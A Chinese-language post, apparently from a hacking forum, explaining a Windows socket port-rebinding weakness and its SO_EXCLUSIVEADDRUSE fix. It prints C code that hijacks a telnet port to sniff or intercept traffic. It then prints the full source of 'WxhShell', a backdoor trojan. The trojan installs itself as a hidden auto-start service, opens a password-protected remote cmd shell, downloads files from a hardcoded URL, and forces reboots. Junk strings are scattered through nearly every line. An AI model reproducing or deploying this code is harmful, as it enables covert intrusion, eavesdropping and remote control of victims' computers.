在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
SkmTW@v s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
L5I!YP#v 0}NDi|o saddr.sin_family = AF_INET;
_-y1>{]H #W)m({} saddr.sin_addr.s_addr = htonl(INADDR_ANY);
-fFtHw:kHh A_S7z*T bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_xCYh|DlQ| KF+r25uy[+ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
mW'3yM }Mt)57rU 这意味着什么?意味着可以进行如下的攻击:
W.[!Q` u*2?Gky 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
@ !su7 \DujF>: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
v%cCJ SO# 3S+9LOrhY 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%p ^PNDxtd|v 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
E5rV}>(Y \OkZ\!<hg 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
vx($o9 SgxrU&:: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
1qNO$M tWy.Gz\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
P#V!hfM \O "`o4 #include
g?"QahHG #include
3A`]Rk
#include
;@qS#7SRB #include
,uC-^T
|n DWORD WINAPI ClientThread(LPVOID lpParam);
7\%JJw6h int main()
YOLzCnI4 {
V:y6NfL7i' WORD wVersionRequested;
~;CNWJtcf( DWORD ret;
y*^UGJC: WSADATA wsaData;
i!}k5k*Z BOOL val;
082iEG SOCKADDR_IN saddr;
x @q.u3o9 SOCKADDR_IN scaddr;
v}u]tl$, int err;
Z qn$ >mG- SOCKET s;
{p1`[R&n# SOCKET sc;
Jfr'OD2$ % int caddsize;
nu+K
N,3R" HANDLE mt;
N2s"$Ttq DWORD tid;
#d$zW4ur2 wVersionRequested = MAKEWORD( 2, 2 );
F_:zR,P%# err = WSAStartup( wVersionRequested, &wsaData );
1z7+:~;l if ( err != 0 ) {
BH {z]a
printf("error!WSAStartup failed!\n");
dlfjx return -1;
Rs"=o>Qu }
\u`P(fI!K% saddr.sin_family = AF_INET;
z[J=WI CA igV$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
%OgK{h J8S$YRZ_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
kl:/PM^ saddr.sin_port = htons(23);
n~yHt/T if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`Z,WKus {
Kt*b)
< printf("error!socket failed!\n");
M5:.\0_ return -1;
c\o_U9=n }
/~'C!so[v val = TRUE;
rT4Q^t" //SO_REUSEADDR选项就是可以实现端口重绑定的
xwsl$Rj if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
W'@G5e {
o`Z3} printf("error!setsockopt failed!\n");
ZVH 9je return -1;
kIS )*_ }
rR@]`@9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
YG0/e#5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
'L O3[G{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
BTr
oe=R d4IQ;u if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
PH%t#a!j3/ {
[x7Rq_^ ret=GetLastError();
<$?#P#A printf("error!bind failed!\n");
UUWRC1EtI return -1;
46T(1_Xt~ }
c}OveR$'& listen(s,2);
y]{b4e while(1)
]p+KN>1e {
/'{vDxZf R caddsize = sizeof(scaddr);
YkF LNCg4} //接受连接请求
?84f\<" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
g5 *E\T%8 if(sc!=INVALID_SOCKET)
r|}Pg}O {
RvA "ug.* mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
bl!pKOY if(mt==NULL)
4IZAJqw(* {
Bkq4V$D_ printf("Thread Creat Failed!\n");
%6lGRq{/? break;
JQ}4{k }
Yqh-U%"' }
)M7yj O! CloseHandle(mt);
#"A`:bjG }
81#x/&E] closesocket(s);
`Qb!W45 WSACleanup();
nO6UlY return 0;
S`[(y?OF? }
T)22P<M8 DWORD WINAPI ClientThread(LPVOID lpParam)
[%LGiCU] {
aC9iNm8w SOCKET ss = (SOCKET)lpParam;
A#q.)8 SOCKET sc;
&/' O?HWl unsigned char buf[4096];
dh{py SOCKADDR_IN saddr;
9BOn8p;yz long num;
FDiDHOR DWORD val;
5<GeAW8ns] DWORD ret;
KpG'E //如果是隐藏端口应用的话,可以在此处加一些判断
L1lDDS# //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Q!-"5PX saddr.sin_family = AF_INET;
VZamR}x saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ffB<qf)?G saddr.sin_port = htons(23);
K7x;/O if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3:sc%IDP {
NmpNme printf("error!socket failed!\n");
+c]D2@ctG return -1;
a]V#mF |{ }
#Sy~t{4 val = 100;
"7(@I^'t6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~nj+"d] {
=<M>fJ) ret = GetLastError();
"j&p3 return -1;
?<0'h{z Ny }
ZS3T1
<z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|Cfo(]>G {
.aK=z) ret = GetLastError();
.Xxxz
Wyk return -1;
&8%^o9sH }
f~jdN~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
yYaYuf {
Z>NA 9: printf("error!socket connect failed!\n");
Pqvj0zU o$ closesocket(sc);
|~Awm" closesocket(ss);
Vz5<Gr return -1;
[ifQLsHA }
%z
@T / while(1)
oY@]&A^ah {
hB:+_[=Kj. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1-! |_<EW1 //如果是嗅探内容的话,可以再此处进行内容分析和记录
eLyIQo W //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2NL|_W/ num = recv(ss,buf,4096,0);
zzKU s "u if(num>0)
gr>FLf
send(sc,buf,num,0);
V/"41 else if(num==0)
sg]g;U break;
3bugVJ93 num = recv(sc,buf,4096,0);
wz'in if(num>0)
q,'~=Y5 send(ss,buf,num,0);
B7'2@+( else if(num==0)
P6tJo{l8w break;
C|ou7g4'p }
S7hfwu&7F closesocket(ss);
{\=NZ\ closesocket(sc);
wi:d!,P`e return 0 ;
-1!s8G }
9+>%U~U< JnH5v(/ 495(V(+5 ==========================================================
1`n
ZK$ *-_joAWTG 下边附上一个代码,,WXhSHELL
w?c~be$ X`daaG_l ==========================================================
:Z5kiEwYM D_cd
l^ #include "stdafx.h"
*;(GL dU"C=c(w\ #include <stdio.h>
,PyPRPk #include <string.h>
&sPu3.p #include <windows.h>
%u$dN9cw #include <winsock2.h>
o Bp.|8- #include <winsvc.h>
}Qvoms<k #include <urlmon.h>
7otqGE\2 ^TY8,qDA #pragma comment (lib, "Ws2_32.lib")
#9hSo #pragma comment (lib, "urlmon.lib")
u]Y NF[] QmB,~x{j> #define MAX_USER 100 // 最大客户端连接数
27jZ~Bp$ #define BUF_SOCK 200 // sock buffer
E;x~[MA #define KEY_BUFF 255 // 输入 buffer
\U'TL_Ql kPZ1OSX #define REBOOT 0 // 重启
8uhB&qxB #define SHUTDOWN 1 // 关机
o!t1EPJE* Sst`*PX: #define DEF_PORT 5000 // 监听端口
/ k8;k56 !J@pox-t #define REG_LEN 16 // 注册表键长度
bYH! P/ #define SVC_LEN 80 // NT服务名长度
lf9_!`DGV Th//u I+ // 从dll定义API
1&}^{ Ys typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
84dej< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
pV))g
e\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
>'zp typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
cB[.ET$ MRHkQE+K@8 // wxhshell配置信息
$$G^#t1=XZ struct WSCFG {
"ae55ft// int ws_port; // 监听端口
Swz1RT char ws_passstr[REG_LEN]; // 口令
I2=Kq{ int ws_autoins; // 安装标记, 1=yes 0=no
jNNl5. char ws_regname[REG_LEN]; // 注册表键名
SB[,}h<u1 char ws_svcname[REG_LEN]; // 服务名
H{T)?J~ char ws_svcdisp[SVC_LEN]; // 服务显示名
{N,w5!cP char ws_svcdesc[SVC_LEN]; // 服务描述信息
>KXT2+w char ws_passmsg[SVC_LEN]; // 密码输入提示信息
DDhc ^( int ws_downexe; // 下载执行标记, 1=yes 0=no
d|sI>6jD char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
r4qFEFV3% char ws_filenam[SVC_LEN]; // 下载后保存的文件名
AH],>i3 GS3ydN<v };
~1h-LbFI2 [@/[#p // default Wxhshell configuration
#Y*AG xk struct WSCFG wscfg={DEF_PORT,
kB]|4CG{ "xuhuanlingzhe",
qO9_e 1,
(Qq$ql27 "Wxhshell",
GO wd=]e "Wxhshell",
D-4PEf "WxhShell Service",
4p~:(U[q "Wrsky Windows CmdShell Service",
W:>RstbnMG "Please Input Your Password: ",
I>-jKSkwc 1,
O'-lBf+< "
http://www.wrsky.com/wxhshell.exe",
1.H"$D>TC "Wxhshell.exe"
{+t'XkA };
}wkBa] 9HEc=,D| // 消息定义模块
gi@+27; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
6v1#i char *msg_ws_prompt="\n\r? for help\n\r#>";
j4}aK2[< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
oa1a5+A char *msg_ws_ext="\n\rExit.";
a<gzI char *msg_ws_end="\n\rQuit.";
=C\S6bF% char *msg_ws_boot="\n\rReboot...";
|$b 4{ char *msg_ws_poff="\n\rShutdown...";
3nK'yC char *msg_ws_down="\n\rSave to ";
y~S[0]y> t8)Fkx#8} char *msg_ws_err="\n\rErr!";
l2`8]Qr char *msg_ws_ok="\n\rOK!";
kxUGd)S |k+&weuY char ExeFile[MAX_PATH];
BkqIfV%O int nUser = 0;
vP~F+z
@g HANDLE handles[MAX_USER];
S5Px9&N8( int OsIsNt;
MB |(,{S 63u'-Z"4 SERVICE_STATUS serviceStatus;
xZhD6'Zzz SERVICE_STATUS_HANDLE hServiceStatusHandle;
9wb$_j]F`# !J6s^um // 函数声明
.D>lv_kp int Install(void);
6|dUz*Pr|\ int Uninstall(void);
#/jHnRrQ int DownloadFile(char *sURL, SOCKET wsh);
f@/qW!o int Boot(int flag);
&'](T9kg= void HideProc(void);
[a
|fm*B! int GetOsVer(void);
!eTS PM int Wxhshell(SOCKET wsl);
h.Dk>H_G void TalkWithClient(void *cs);
IkZ_N #m int CmdShell(SOCKET sock);
Jb$z(?S int StartFromService(void);
YI|Gpq int StartWxhshell(LPSTR lpCmdLine);
yED^/=\)} q-3KF VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{Jy%h8n* VOID WINAPI NTServiceHandler( DWORD fdwControl );
D!sSe|sL^ s,29_z7 // 数据结构和表定义
d!LV@</ SERVICE_TABLE_ENTRY DispatchTable[] =
jh?7+(Cw {
=Fs LF {wscfg.ws_svcname, NTServiceMain},
$tKATL* {NULL, NULL}
!fV6KkV };
0* "j:V g`6wj|@ =W // 自我安装
vp|=q;Q%r int Install(void)
[;2:lbPx {
C/vLEpP{(/ char svExeFile[MAX_PATH];
$P@cS1sB HKEY key;
_NZHrN strcpy(svExeFile,ExeFile);
2&d&$Jg (qP$I:Q4]v // 如果是win9x系统,修改注册表设为自启动
qR<DQTO< if(!OsIsNt) {
? 7EVmF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
dtBV0$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_Kj. RegCloseKey(key);
IjRmpVcwN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2"'8x?.V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
JT9<kB/07 RegCloseKey(key);
kC5,yj return 0;
S}f<@-16P }
6V?RES;X }
7tpZE+OX }
D ` X6'PP else {
eM"mP&TTL NKKOA // 如果是NT以上系统,安装为系统服务
;wxt< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
nQHd\/B
if (schSCManager!=0)
XXcf!~uO {
PZR%8 m}]u SC_HANDLE schService = CreateService
IpXhb[UZ? (
G0>Wk#or schSCManager,
=*}Mymhk( wscfg.ws_svcname,
^z;,deoGh wscfg.ws_svcdisp,
,b(S=r SERVICE_ALL_ACCESS,
* _lo; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ejY5n2V#= SERVICE_AUTO_START,
B[B<U~I} SERVICE_ERROR_NORMAL,
g VJ#LJ svExeFile,
U3K<@r NULL,
y( NULL,
gtGKV NULL,
==Mi1Q#5C NULL,
2rtP.*dd NULL
s)8M? |[`I );
p-r%MnT if (schService!=0)
I 47GQho {
LC\:xia{X CloseServiceHandle(schService);
ASa!yV=g CloseServiceHandle(schSCManager);
cloSJmUlQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
F'$S!K58 strcat(svExeFile,wscfg.ws_svcname);
cu`J2vm3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
I*S`I|{J RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Z"|P(]A RegCloseKey(key);
\u-e\w return 0;
+Cg"2~ }
N$&ePU J }
' VEr4& CloseServiceHandle(schSCManager);
<4e*3WSG }
?b7g9 G4 }
q+n1~AT 'b?.\Bm; return 1;
`h9)`* }
&f<1=2dm X/8iJ-KB // 自我卸载
^%%5 int Uninstall(void)
jc.JX_/ {
H'GYJ ?U" HKEY key;
_RL-6jw#o
2ZG1n# if(!OsIsNt) {
nlebFDb7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
W_,;eyo RegDeleteValue(key,wscfg.ws_regname);
_`Q It>R RegCloseKey(key);
CTkN8{2S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
G(0y|Eq RegDeleteValue(key,wscfg.ws_regname);
I>%S4Z+o RegCloseKey(key);
!UMo4}Y return 0;
CFJjh^
~= }
R,+/A8[j }
#xP!!.DF( }
_0W;)v else {
6Z7pztk TwuX-b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
x1BOW if (schSCManager!=0)
E! I {
crNjI`%tw SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.^LL9{? if (schService!=0)
&oeN#5Es8C {
k?HrD" k" if(DeleteService(schService)!=0) {
f>8B'%] CloseServiceHandle(schService);
$,;S\JmWP CloseServiceHandle(schSCManager);
r6n5 Jz return 0;
^'7C0ps+A }
q qe2,X? CloseServiceHandle(schService);
#A3v]'7B }
c3V]'~ CloseServiceHandle(schSCManager);
$Pd|6 }
g8,?S6\nMz }
whY~=lizn *"5N>F[L return 1;
/esVuz }
;vJ\]T ml ,!I?)hwOC // 从指定url下载文件
sOl>5:D6 int DownloadFile(char *sURL, SOCKET wsh)
Q54r?|'V {
Hwp{< HRESULT hr;
7$ =Y\P char seps[]= "/";
^Ti_<<X char *token;
0iJ!K;A2% char *file;
^qeY9O char myURL[MAX_PATH];
SE^j= 1 char myFILE[MAX_PATH];
FjZc#\^9 /mn-+u`K strcpy(myURL,sURL);
yuHZ&e token=strtok(myURL,seps);
V uG?B{ while(token!=NULL)
vZ$U^>": {
<vB<` file=token;
#wenX$UTh3 token=strtok(NULL,seps);
D XV@DQ }
>ZT& `E 4^DVW*OiI GetCurrentDirectory(MAX_PATH,myFILE);
J7BFk
?= strcat(myFILE, "\\");
/gz:zThf{ strcat(myFILE, file);
w66v\x~ send(wsh,myFILE,strlen(myFILE),0);
9)`amhf> send(wsh,"...",3,0);
8L%M<JRg~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
5[C ~wvO if(hr==S_OK)
y&"!m} return 0;
17}$=#SX else
Sk:2+inU return 1;
8tLHr @%% {`%hgR }
fXO_g lWWP03er! // 系统电源模块
MIq"Wy|Zs int Boot(int flag)
hSB?@I4s<\ {
|uI?ySF HANDLE hToken;
uWjN2#&, TOKEN_PRIVILEGES tkp;
wu)Wg-dT j!\dn!Xwt if(OsIsNt) {
$5AC1g' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
m@jge)O&D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
)%mg(O8uL tkp.PrivilegeCount = 1;
dC.bt|#Oz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}aF AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
|;+qld[4z if(flag==REBOOT) {
tdep|sD if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
cWMUj K/N return 0;
F";.6%;AC }
IA4N@ijRxh else {
\'Ssn(s if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
`&!k!FZY* return 0;
6)qp*P$L }
/7D<'MF }
&<3&'*ueW else {
`!vUsM .d if(flag==REBOOT) {
ST1'\Eo if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
0
Y>M=| return 0;
*27*>W1 }
(YPi&w~S else {
8|@9{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;W]\rft[ return 0;
x|i_P|Z }
D`[Khs f }
Vi*e@IP/ MHU74//fe return 1;
`JB?c }
!4(zp;WY^ Cr C=A=e // win9x进程隐藏模块
#wY0D_3@1 void HideProc(void)
aC%&U4OS {
0.TaXbi W$0^(FH[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
q{0R=jb if ( hKernel != NULL )
q?):oJ {
%}-?bHB1c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
OsqNB'X ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
|'d>JT: FreeLibrary(hKernel);
A\fb< }
piy`zc-yu UC
HZ2& return;
|~!U4D\ }
X]%itA #]P9b@@e // 获取操作系统版本
\C,p
WW int GetOsVer(void)
6eFp8bANN# {
;&V s4 OSVERSIONINFO winfo;
U8.7>ENnP& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
sEMQ GetVersionEx(&winfo);
MN^Aw9U if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ziPR>iz- return 1;
~6YMD else
rf~Y6U?7 return 0;
PHOP%hI$ }
^9Qy/Er' >/[GTqi // 客户端句柄模块
SZaS;hhhHu int Wxhshell(SOCKET wsl)
?POUtRN {
@,Gxk
SOCKET wsh;
(T`E!A0I\? struct sockaddr_in client;
v~QHMg DWORD myID;
*Kdda}
J+ (hiyNMC while(nUser<MAX_USER)
V |(H|9 {
_XCOSomL` int nSize=sizeof(client);
V"c
6Kdtd wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
!;?+>R)h if(wsh==INVALID_SOCKET) return 1;
C8
\5A8c dXF^(y]l handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_ODbY;M if(handles[nUser]==0)
.L'.c/ s closesocket(wsh);
a~'a else
'!/<P"5t nUser++;
6DH~dL_",% }
dFKM
8_jH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
n{6G"t:^l s"t$0cH9 return 0;
H\TI[JPAl }
|PC*=ykT3 ]]zPq<b2 // 关闭 socket
4$P0 : void CloseIt(SOCKET wsh)
#O+),,WS {
8F'x=lIO closesocket(wsh);
V4_=<W nUser--;
6I%5Q4Ll ExitThread(0);
30SW\@ }
@3zg=?3 Z<vKQ4G // 客户端请求句柄
3\XU_Xs(] void TalkWithClient(void *cs)
Z'\h {
YJ\Xj56gv 97}OL`y SOCKET wsh=(SOCKET)cs;
)c)vTZy char pwd[SVC_LEN];
}hhGu\ char cmd[KEY_BUFF];
iKT [=c char chr[1];
iv4H#rJ int i,j;
c-(UhN3WG
K~R`%r_ while (nUser < MAX_USER) {
R=QZgpR 'h,VR=e< if(wscfg.ws_passstr) {
a6uJYhS~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fTK3,s1= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/w}u3|L$ //ZeroMemory(pwd,KEY_BUFF);
De'_SD|= i=0;
.oeX"6K while(i<SVC_LEN) {
kZmpu?P ZZzMO6US0 // 设置超时
5Ou`z5S\k fd_set FdRead;
1=d6NX)B struct timeval TimeOut;
^f4s"T FD_ZERO(&FdRead);
X:nN0p # FD_SET(wsh,&FdRead);
8|l\EVV6 TimeOut.tv_sec=8;
,)Znb= TimeOut.tv_usec=0;
CDK5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
#."-#"0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
2{H@(Vgpbr hG12ZZ D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
E/|To pwd
=chr[0]; N_W}*2(
if(chr[0]==0xd || chr[0]==0xa) { C26>BU<
pwd=0; 61k"p2?+
break; |EX(8y
} s %j_H
i++; ^:^9l1]
} FQ<Ju.
OR~8sU
// 如果是非法用户,关闭 socket 4%>$-($
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "n(hfz0y%
} PNgY>=Y
Czs8!S
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Jh,]r?Bd
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cUKE
p6>Svcc
while(1) { s>7}zU]
vWzm@
ZeroMemory(cmd,KEY_BUFF); [9evz}X
\XCe22x]
// 自动支持客户端 telnet标准 ^c"jH'#.L
j=0; O_oPh] x)
while(j<KEY_BUFF) { BC&S> #\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f-vCm 5f
cmd[j]=chr[0]; <\rT%f}3^
if(chr[0]==0xa || chr[0]==0xd) { \A 2r]
cmd[j]=0; @ym v< Mo
break; ]b2p G'
} %9KldcQ}~
j++; h\fjBDU^
} fInb[
Gw/Pk4R
// 下载文件 )WNzWUfn=z
if(strstr(cmd,"http://")) { CGW.I$u
send(wsh,msg_ws_down,strlen(msg_ws_down),0); LO9=xGj.
if(DownloadFile(cmd,wsh)) eenH0Ovv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q/4J.jL
else n4;.W#\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W9 GxXPA
} SA&Rep^
else { TaZmRL
RIWxs Zt
switch(cmd[0]) { EizKoHI-z
dI.WK@W'o
// 帮助 uw>Ba %5
case '?': { "h{q#~s
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >c1qpk/
break; g/ T
} n`? py
// 安装 -u6bAQ
case 'i': { 8g@<d^8@
if(Install()) a#cCpE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1-8mFIK
else Y071Y:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d~9A+m3b_
break; a@_4PWzF:
} "@e3EX7h
// 卸载 R/~p>apg8
case 'r': { 'F+C4QAq
if(Uninstall()) b1(T4w6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TH%Qhv\]
else ((YMVe
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [+rfAW>p}
break; !a{^=#qq&I
} G)EU_UE9
// 显示 wxhshell 所在路径 zU5v /'h>d
case 'p': { b.2aHu( 3
char svExeFile[MAX_PATH]; CuaVb1r
strcpy(svExeFile,"\n\r"); &|s0P
strcat(svExeFile,ExeFile); k0OYJ/
send(wsh,svExeFile,strlen(svExeFile),0); |B?cVc0
break; aB_F9;IR
} l.q&D< _
// 重启 >nJ\BPx
case 'b': { {DV_*5
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8r*E-akuyr
if(Boot(REBOOT)) JA %J$d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6hno)kd{=
else { I:=S0&%)
closesocket(wsh); }5ret
ExitThread(0); .<->C?#
} "IZa!eUW
break; ew>XrT=Zm
} RVZ")Z(
// 关机 %"q9:{m
case 'd': { bBiE
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j_qbAP
if(Boot(SHUTDOWN)) h1j!IG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w;%.2VJ
else { T-'OwCB1q
closesocket(wsh); n4O]8C'lW9
ExitThread(0); T`9lV2x*P
} bHY=x}Hv
break; MU($|hwiL
} tP:lP#9
// 获取shell OC_+("N
case 's': {
ncZ+gzK|"
CmdShell(wsh); ^PDJ0k/u1
closesocket(wsh); >"??!|XG^
ExitThread(0); >Rl"
break; 6gL#C&
} h\$$JeSV]
// 退出 MR;1
2*p
case 'x': { J!AgBF N4
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;dkYf24
CloseIt(wsh); TYy?KG>:'
break; h&M{]E9=
} j5(Z_dm'
// 离开 |h KDvH
case 'q': { -Fi`Z$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8Q.T g.
closesocket(wsh); r7RIRg_
WSACleanup(); )\1QJ$-M&
exit(1); )~GmU9f
break; ]P9l jwR
} ]RZ|u*l=x
} kVuUjP6(c
} 7z%L*z8V
$|zX|
// 提示信息 |5X^u+_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R a O-H
} '@a}H9>}
} ]>W6
bTK
9#23FK
return; X1:V<,}"
} 48J@CvU
O+nEXS\rQ
// shell模块句柄 xI{)6t$`
int CmdShell(SOCKET sock) S%$ }(
{ :W"~
{~#?
STARTUPINFO si; bYcV$KJk
ZeroMemory(&si,sizeof(si)); gl~ecc
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hE &xE;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =R^%(Py
PROCESS_INFORMATION ProcessInfo; g6yB6vk
char cmdline[]="cmd"; 'HO$C,1]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d}OTO10
return 0; AKY1o.>z
} ~b(i&DVK
.nO\kg oK
// 自身启动模式 8mCxn@yV
int StartFromService(void) )n1_(;
{ 4%{,]
q\p
typedef struct N(O9&L*4fm
{ 32(^Te]:
DWORD ExitStatus; c\/=iVw,
DWORD PebBaseAddress; o m!!Sl 3
DWORD AffinityMask; {WJ m
DWORD BasePriority; M
"ui0
ac
ULONG UniqueProcessId; R%Hi+#/dr-
